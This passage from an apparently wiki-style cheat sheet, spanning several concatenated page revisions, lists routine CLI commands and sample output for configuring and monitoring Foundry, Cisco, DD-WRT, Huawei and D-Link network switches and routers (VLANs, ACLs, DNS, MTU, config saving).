* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-21T11:09:52Z

Porcelinux: /* del vlan */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Router-language

2022-06-21T09:05:22Z

Porcelinux: /* change Interface MTU */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing THISSSS
nvram show|grep THISSSS

* unset all variables named/containing THISSSS
for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

<pre>
</pre>

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
